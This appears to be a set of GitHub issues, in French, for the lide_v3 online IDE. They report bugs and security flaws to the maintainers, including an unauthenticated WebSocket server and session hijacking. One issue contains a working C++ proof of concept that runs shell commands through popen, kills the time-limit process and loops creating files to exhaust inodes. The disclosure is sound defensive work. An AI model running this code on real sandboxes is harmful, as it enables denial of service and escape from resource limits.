strategfirst / lide_v3 Goto Github PK

Des tests unitaires, e2e et fonctionnels sont clairement requis au vu du nombre de petite erreurs trouvé dans le code qui cause des problèmes.

Une documentation serait la bien venue avec évidemment !

On peut se connecté au serveur WSS sans avoir besoin d'un token ou quoi que ce soit d'autre
ainsi si un utilisateur lambda lance un programme et que quelque'un de malveillant devine l'id du conteneur ou les spam et trouve le bon il peut se substitué au client rendant la lecture des info pour ce dernier impossible

Si un utilisateur arrive à executé un programme sous le nom d'utilisateur web back wss etc, son programme rejoindra l'un des docker de l'appli. Lui permettant au mieux de détruire l'appli en mettant fin à son code ce qui tue le docker et donc l'app.
Au pire lui permet d'éditer les fichier et de s'introduire sur le serveur avec dans le pire des cas un accès complet à tous les docker du serveur

Après 1H et l'expiration du token on est obliger de se déconnecter et reconnecter
Il faudrait un maintient automatique du token si l'utilisateur est toujours présent.

Le système de notification dans lide-web/src/components/Notification.vue est beaucoup trop complexe inutilement et on pourrait utilisé le composant pré-fait <v-alert> ( plus d'information ici )

Cela permetrait entre-autre d'avoirs plusieurs notification en même temps, avec différents niveau et des mécaniques plus propre

Toutes les fonctionnalités de c++11 sont a disposition hors en c++ certaines fonction permettent d'éxécuté des commandes bash et avec un script basique tel que :

#include <cstdio>
#include <iostream>
#include <memory>
#include <stdexcept>
#include <string>
#include <array>

std::string exec(const char* cmd) {
    std::array<char, 128> buffer;
    std::string result;
    std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
    if (!pipe) {
        throw std::runtime_error("popen() failed!");
    }
    while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
        result += buffer.data();
    }
    return result;
}

int main() {
	std::cout << exec("ps -ua") << std::endl;
	return 0;
}

On peut afficher tous les processus du docker et par la suite rien n'empêche de tué le processus qui limite le temps d’exécution, de plus cette tâche est facilité par le fait que le docker à chaque exécution contient les mêmes processus avec les mêmes pid, aucun algo à écrire il suffit une fois la valeur trouvé comme ici :

Et à partir de la plus aucune limite de temps ne sera imposé, voici un exemple de code malveillant :

#include <cstdio>
#include <iostream>
#include <memory>
#include <stdexcept>
#include <string>
#include <array>

std::string exec(const char* cmd) {
    std::array<char, 128> buffer;
    std::string result;
    std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
    if (!pipe) {
        throw std::runtime_error("popen() failed!");
    }
    while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
        result += buffer.data();
    }
    return result;
}

int main() {
	std::cout << exec("ps -ua") << std::endl;
	std::cout << exec("kill 13") << std::endl;
	std::cout << exec("ps -ua") << std::endl;
        unsigned int i = 0;
        while( true ) { 
                std::string pre = "touch troll"+std::to_string(i)+".xyz";
                exec(pre.c_str());
        }
	return 0;
}

Bien évidemment ceci reste un exemple "gentils",
et bien évidemment aussi nous restons isolé dans le docker, bien qu'avec les volumes monté nous pouvons imaginer un empilement d'exploit pour en sortir.

Cette exploit, bien qu'inoffensif seul, doit être corriger au cas où un second exploit permettrait de sortir ou d'avoirs un impact sur la machine. Car en soit nous pouvons déjà pour l'instant bloquer la création de nouvel inodes ou saturé la RAM.